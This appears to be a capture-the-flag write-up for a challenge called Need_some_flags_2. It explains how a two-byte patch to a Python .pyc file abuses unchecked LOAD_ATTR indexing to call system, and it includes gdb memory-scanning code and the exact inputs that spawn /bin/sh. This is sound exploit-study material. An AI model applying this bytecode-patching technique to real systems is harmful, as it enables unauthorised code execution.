README.md

Misc - Need_some_flags_2

We are given a Python console application exposed via xinetd. It allows us to do four things:

• Option 0 (writeflag): three times only, write up to 0x30 characters into flag global variable as well as into a new file with a random name.
• Option 1 (editflag): one time only, write 2 bytes into any file in the application directory (excluding .py files) at any offset.
• Option 2 (pushflag): no-op, commented out.
• Option 3 (secretflag): reload the nonsecret module and pass an arbitrary string to the printlist function inside it.

nonsecret.py is trivial:

import os
def printlist(path):
  print os.listdir(path)

Which files can we edit with editflag? .py ones are locked down, random flag files are useless, and we cannot reference files outside of the current directory. Initial import of the nonsecret module results in generation of nonsecret.pyc, and secretflag reloads it - so we can edit nonsecret.pyc. .pyc files with a fresher timestamp take precedence over older .py files - a source of constant frustration in daily life.

Let's disassemble the nonsecret.pyc with python-xdis:

$ pydisasm --show-bytes nonsecret.pyc

# Method Name:       <module>

# Constants:
#    0: -1
#    1: None
#    2: <xdis.code.Code2 object at 0x7fc9e252deb8>
# Names:
#    0: os
#    1: printlist
  1:           0 |64 00 00| LOAD_CONST           (-1)
               3 |64 00 01| LOAD_CONST           (None)
               6 |6c 00 00| IMPORT_NAME          (os)
               9 |5a 00 00| STORE_NAME           (os)

  2:          12 |64 00 02| LOAD_CONST           (<xdis.code.Code2 object at 0x7fc9e252deb8>)
              15 |84 00 00| MAKE_FUNCTION             0
              18 |5a 00 01| STORE_NAME           (printlist)
              21 |64 00 01| LOAD_CONST           (None)
              24 |53      | RETURN_VALUE

# Method Name:       printlist

# Constants:
#    0: None
# Names:
#    0: os
#    1: listdir
# Varnames:
#	path
# Positional arguments:
#	path
  3:           0 |74 00 00| LOAD_GLOBAL          (os)
               3 |6a 00 01| LOAD_ATTR            (listdir)
               6 |7c 00 00| LOAD_FAST            (path)
               9 |83 00 01| CALL_FUNCTION        (1 positional, 0 named)
              12 |47      | PRINT_ITEM
              13 |48      | PRINT_NEWLINE
              14 |64 00 00| LOAD_CONST           (None)
              17 |53      | RETURN_VALUE

First guess - replace two-letter os module name with something else, e.g. uu. Unfortunately, there is no such module with a useful listdir function. Similarly, there doesn't seem to be a way to replace two consecutive letters in listdir function name to get a name of a useful function.

Second guess - patch the argument of LOAD_ATTR so that it ends up pointing to system instead of listdir. Inspecting python2.7.15 code shows that LOAD_ATTR does GETITEM, which does no bounds checking in release builds. The LOAD_ATTR argument is unsigned. So if we manage to find a PyObject * pointing to system string within 0x10000 * 8 bytes from names tuple, then we are good.

We could increase the chances of it appearing by passing system to writeflag (option 0), since the value will be saved into a global variable flag, which will not be overwritten or garbage collected.

How to find the offset? Let's use gdb and catch the moment when the code calls LOAD_ATTR inside printlist. First, let's add a few things to the Dockerfile to enable debugging (it's important to have the same environment as the actual server):

RUN sed -i -e 's/^# deb-src /deb-src /g' /etc/apt/sources.list
RUN apt-get update
RUN apt-get install dpkg-dev gdb python2.7-dbg -y
RUN cd /usr/src && apt-get source python2.7

Then rebuild the image and run it with --privileged flag to enable debugging (this is actually an overkill - something like --cap-add=SYS_PTRACE --security-opt=apparmor:unconfined might suffice, but it's so much longer):

$ docker build -t need_some_flags_2 .
$ docker run -it --rm -p 4869:4869 --privileged --name need_some_flags_2 need_some_flags_2
$ docker exec -it need_some_flags_2 bash
# cd /usr/src/python2.7-2.7.15/Python
# gdb -p $(pidof python2.7)

We can catch execution of any code in nonsecret module using the following conditional breakpoint:

(gdb) b PyEval_EvalFrameEx if (strcmp(PyDict_GetItemString(f->f_globals, "__name__")->ob_type->tp_name, "str") == 0) && (strcmp(PyString_AsString(PyDict_GetItemString(f->f_globals, "__name__"), 0), "nonsecret") == 0)

Here we abuse invoking functions in the gdb inferior. We take a frame object and ask for a __name__ item of its globals dict. Sometimes it may be None, so we first check if it's a str, if yes, then we compare its value with nonsecret. This breakpoint fires only two times - for module initialization and for printlist. So we can skip it the first time, and then single-step to LOAD_ATTR case in the switch statement in the interpreter loop.

Unfortunately, debuginfo is not good enough and does not show the location of names, so after reaching TARGET(LOAD_ATTR) we need to issue a few si commands to position ourselves at +1602.

2551	        TARGET(LOAD_ATTR)
   0x000056508de6136d <+1565>:	lea    0x2(%r9),%rbp
   0x000056508de61371 <+1569>:	movzbl -0x1(%rbp),%eax
   0x000056508de61375 <+1573>:	movzbl -0x2(%rbp),%r14d
   0x000056508de61383 <+1587>:	mov    %r9,(%rsp)
   0x000056508de61387 <+1591>:	shl    $0x8,%eax
   0x000056508de6138d <+1597>:	add    %r14d,%eax

2552	        {
2553	            w = GETITEM(names, oparg);
   0x000056508de6137a <+1578>:	mov    0x30(%rsp),%r12
   0x000056508de61390 <+1600>:	cltq
   0x000056508de61392 <+1602>:	mov    0x18(%r12,%rax,8),%r14

At this point, %rax is index (1 in non-patched version) and %r12 is names, 0x18 is python object header size, so %r12 + 0x18 is the start of the array. Let's scan the memory and find the indices:

(gdb) python
import struct
i = gdb.inferiors()[0]
names_arr = <<<output of p/x $r12 + 0x18>>>
PyString_Type = <<<output of p/x PyString_Type>>>
for pp in range(names_arr, names_arr + 0x10000 * 8, 8):
    p, = struct.unpack('<Q', i.read_memory(pp, 8))
    try:
        r, t, l = struct.unpack('<QQQ', i.read_memory(p, 24))
    except gdb.MemoryError:
        continue
    if t == PyString_Type:
        foo = gdb.execute('p (char*)PyString_AsString((PyObject*)' + hex(p) + ')', to_string=True).strip()
        if '"system"' in foo:
            print(hex(pp))
end

First we scan through all pointers in the reachable area. For each pointer, if the second quadword it points to is address of PyString_Type, we assume this is a Python string. Then we use gdb to ask the Python interpreter to give us its value, and if it's system, then we print the address of the corresponding pointer. The last manual step is to subtract %r12 + 0x18 from each printed address (there are normally only 2 of them) and divide by 8 to get indices. Those two indices are stable across multiple runs.

So, the final sequence is:

• Option 0 (writeflag): system
• Option 1 (editflag): nonsecret.pyc, A8ED | B013, 92
• Option 3 (secretflag): /bin/sh

and this gives us the shell to poke around and get the flag!